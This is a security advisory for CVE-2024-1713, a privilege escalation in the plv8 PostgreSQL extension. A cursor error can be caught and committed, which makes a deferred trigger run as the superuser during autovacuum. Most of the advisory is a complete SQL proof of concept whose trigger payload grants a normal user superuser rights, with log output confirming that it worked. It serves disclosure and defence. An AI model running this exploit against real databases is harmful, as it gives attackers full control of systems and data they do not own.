Skip to content

PostgreSQL: Plv8 Deferred Trigger Privilege Escalation

High
rcorrea35 published GHSA-r7m9-grw7-vcc4 Feb 21, 2024

Package

Plv8 (PostgreSQL)

Affected versions

3.2.1

Patched versions

None

Description

Summary

PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to CVE-2020-25695).

This was tested against PostgreSQL 14.10 with plv8-3.2.1.

Severity

High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum.

Proof of Concept

This PoC assumes that there is a Superuser named postgres and a normal user named test. The test user should be able to create objects within a database where plv8 is installed.

As Superuser

CREATE EXTENSION plv8;

As user test

-- Setup index, table, and triggers similar to CVE-2020-25695 
CREATE TABLE public.to_vacuum (a int, b int);
CREATE TABLE public.has_trigger (a int);

CREATE OR REPLACE FUNCTION public.index_func(integer)
RETURNS integer
AS $$
BEGIN
    RETURN 1;
END;
$$ LANGUAGE PLPGSQL IMMUTABLE;

CREATE INDEX i ON public.to_vacuum (public.index_func(a));

CREATE OR REPLACE FUNCTION public.plv8_cursor()
RETURNS int
AS $$
  try {
    var p = plv8.prepare("INSERT INTO public.has_trigger VALUES (1) RETURNING *", []);
    var c = p.cursor([]);
    // while (row = c.move(1)) {}
    while (row = c.fetch()) {}
  } catch(err) {
    plv8.elog(WARNING, 'plv8: ' + err);
}
    return 1;
$$ LANGUAGE plv8;   

CREATE OR REPLACE PROCEDURE wrapper()
AS $$
BEGIN
  BEGIN 
    PERFORM public.plv8_cursor();
  EXCEPTION WHEN OTHERS THEN
    COMMIT;
  END;
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION public.index_func(integer)
RETURNS integer
AS $$
BEGIN
    CALL public.wrapper();
    RETURN 1;
END;
$$ LANGUAGE PLPGSQL;

CREATE OR REPLACE FUNCTION public.payload()
RETURNS trigger
AS $$
BEGIN
  IF USER = 'postgres' THEN
    ALTER USER test WITH Superuser;
  END IF;
  RETURN NEW;
END;
$$ LANGUAGE PLPGSQL;

CREATE CONSTRAINT TRIGGER defer
AFTER INSERT ON public.has_trigger
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE public.payload();

ALTER TABLE public.to_vacuum SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE public.to_vacuum SET (autovacuum_analyze_threshold = 1);

INSERT INTO public.to_vacuum VALUES (1,1);
INSERT INTO public.to_vacuum VALUES (2,2);
INSERT INTO public.to_vacuum VALUES (3,3);

Wait for autovacuum to run this could take several minutes with default settings. You’ll see log entries such as the following when.

[18303] WARNING:  plv8: Error: cannot fire deferred trigger within security
-restricted operation                                                                                         
[18303] CONTEXT:  SQL statement "SELECT public.plv8_cursor()"                     
        PL/pgSQL function public.wrapper() line 4 at PERFORM                                                  
        SQL statement "CALL public.wrapper()"                                                                 
        PL/pgSQL function public.index_func(integer) line 3 at CALL
[18303] WARNING:  snapshot 0x55e5cbdb2680 still active

Now check the user's privileges

\du test
                List of roles
 Role name |      Attributes      | Member of 
-----------+----------------------+-----------
 test      | Superuser, Create DB | {}

Further Analysis

When a plv8 cursor encounters an error the postgres error is caught and rethrown as an error that can be caught in javascript.

plv8_CursorFetch
plv8_CursorMove

Without rolling back or aborting the transaction can leave Postgres in a bad state. In the PoC we use deferred triggers in autovacuum to gain privilege escalation as there’s prior art for this technique (CVE-2020-25695). When postgres encounters a deferred trigger it gets added to an event list, after being added it then checks if it’s in a InSecurityRestrictedOperation in which case it throws an error. From cursor behavior we are then able to catch the error and commit the transaction causing the triggers to execute.

Timeline

Date reported: 01/09/2024
Date fixed: 01/21/2024
Date disclosed: 02/21/2024

Severity

High

CVE ID

CVE-2024-1713

Weaknesses

No CWEs

Credits